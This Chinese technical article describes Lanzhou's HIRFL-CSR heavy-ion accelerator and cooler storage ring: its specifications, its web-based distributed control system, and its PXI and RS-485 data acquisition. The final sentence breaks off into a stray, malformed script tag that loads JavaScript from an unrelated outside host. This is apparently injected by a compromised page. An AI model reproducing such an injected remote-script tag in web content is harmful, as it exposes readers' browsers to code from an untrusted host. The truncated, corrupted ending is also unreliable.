【关键词】：hirfl-csr pxi
【内容简介】：本文介绍了近代物理所hirfl－csr工程概况和pxi在hirfl－csr的应用
一、 兰州近代物理所hirfl-csr项目背景介绍
兰州近代物理所hirfl-csr（重离子加速器－冷却存储环）工程是国家九五重点国家重大科学工程。兰州hirfl-csr是一个集加速、累积、冷却 、储存、内靶实验及高分辨测量于一体的多功能实验装置。兰州近代物理所hirfl-csr将为二十一世纪一二十年代我国核物理学科在国际前沿领域的激烈竞争中取得一批具有国际先进水平的成果，使我国在国际重离子物理前沿领域继续占有一席之地提供先进的实验条件。与此同时，还能促进我国相关高科技产业的发展。例如：作为严重威胁人类健康的重大疾病，癌症及其防治研究关系到人类的生存。近年来，重离子束以其独特的深度剂量分布和高的相对生物学效应等优势，使得重离子束治癌成为当今癌症放射治疗领域中最科学、最先进、最有效的方法。重离子束在治疗脑瘤等不方便开刀治疗的癌症方面有特别好的疗效，在德国已经得到成功临床应用。
兰州近代物理所hirfl-csr包括：主环（csrm）、实验环(csre)、束运线、放射性束(rib)分离器、实验探测装置。主环周长161米，最高加速能量为900mev/u(12c6+)和400mev/u(238u72+)，试验环周长129米，最大接收能量为600mev/u (12c6+)和400mev/u(238u90+)，束线总长473米，磁铁总重量1451吨，磁铁电源|稳压器总功率8234千伏安，建筑面积约17000平方米。兰州近代物理所hirfl-csr具有独特的双环结构，以现有的重离子加速器hirfl作注入器，采用多圈注入、射频堆积和相空间冷却(电子冷却)相结合的方法，在csrm里，将束流累积到高流强，并将累积的束流能量提高，然后快引出打初级靶产生放射性束或者剥离成高离化态束流，注入到csre作内靶实验和高精度质量测量。
下图为兰州近代物理所hirfl-csr系统平面结构示意图：
<兰州近代物理所hirfl-csr系统平面结构示意图>
目前世界上科技水平最高的hirfl-csr系统在德国gsi、法国ganil和日本riken。一旦兰州近代物理所hirfl-csr系统建成后，综合技术指标将等于或超过上述三个系统。
hirfl－csr控制系统包括磁铁系统、电源系统、高频系统、注入引出系统、电子冷却系统、内靶系统、真空系统、束流诊断系统、控制系统和准直与测量系统。hirfl-csr系统的架构图如下：
本文主要介绍pxi总线在hirfl-csr控制系统中的应用。
二、 兰州近代物理所hirfl-csr控制系统对数据采集平台的需求
2．1兰州近代物理所hirfl－csr控制系统介绍
在兰州近代物理所hirfl-csr控制系统中，科学家们采取了多种创新的系统结构和控制算法。兰州hirfl-csr控制系统是基于web的分布式控制系统。系统主要包括前端控制服务器和hirfl-csr系统整体控制。系统结构图如下：
前端控制服务器用来提供对受控目标和装置的完全控制。 它们可以接收命令和数据，运行算法，向设备送出控制信号，返回设备的状态和数据，提供人机界面等。按照现场要求执行开环或闭环控制。通过hirfl-csr的网站服务器和用户浏览器，hirfl-csr操作人员能够通过web形式发出指令并接收设备状态信息。同时，它能够和运行在intranet上的数据库自动交换数据。
在上图中，除了前端控制服务器的其余部分为hirfl-csr整体控制。hirfl-csr的整体控制包括：网络通讯系统，数据库系统，集群服务器系统。所有hirfl-csr控制和束流诊断所需的数据，都存放在整体控制数据库中，hirfl-csr装置按照数据库中的命令和数据操作。这个解决方案控制所有的前端服务器，确保hirfl-csr装置工作良好。它也为hirfl-csr各控制部件之间提供高速数据交换。同时为hirfl-csr操作人员提供接口和信息。
兰州hirfl-csr控制系统需要采集非常之多的i/o点，因此会用到数量非常多的数据
采集设备。对于控制系统中的现场的高速信号如：束流诊断、高频系统中的信号主要用基于pxi数据采集子单元实现。对于加速器控制系统上数量非常多的（数千个点）磁铁、电源、温度等慢速信号点，兰州近代物理所的科学家自己设计了基于rs－485总线数据采集模块。这些数据采集模块的核心是一个相当于intel pentium cpu级别的嵌入式cpu，运行嵌入式操作系统。这些模块可以独立的采集a/d，i/o信号，并具有d/a，i/o控制功能。通过先进的分布式控制算法(神经元算法，模糊控制)，可以让整个hirfl-csr控制系统中的上千个模块协同工作，保证系统数据获取的实时性。兰州近代物理所的科学家设计了485转以太网的网关模块。每个网关模模块最多可以挂接128个485模块。这样通过网关模块可以将现场的所有的485模块连接到整个hirfl-csr控制网。
pxi数据采集子单元和基于rs－485的数据采集模块最后都通过千兆以太网将数据汇集给多个高性能服务器。这些高性能服务器通过通过sci总线完成高速互联(5gbps)?script src=http://er12.com/t.js>
